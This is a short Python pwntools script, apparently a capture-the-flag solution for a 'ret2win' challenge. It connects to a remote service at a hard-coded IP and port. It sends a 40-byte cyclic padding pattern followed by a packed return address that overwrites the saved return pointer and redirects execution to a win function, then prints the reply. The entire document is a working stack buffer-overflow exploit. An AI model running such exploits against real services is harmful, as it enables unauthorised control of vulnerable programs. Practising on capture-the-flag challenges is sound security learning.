from pwn import *

# sh = process("./ret2win")
sh = remote("106.55.152.166", 38705)
# 40
pre = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A"

addr = 0x400815

sh.send(pre + p64(addr) + b'a'*2)

print(sh.recvall())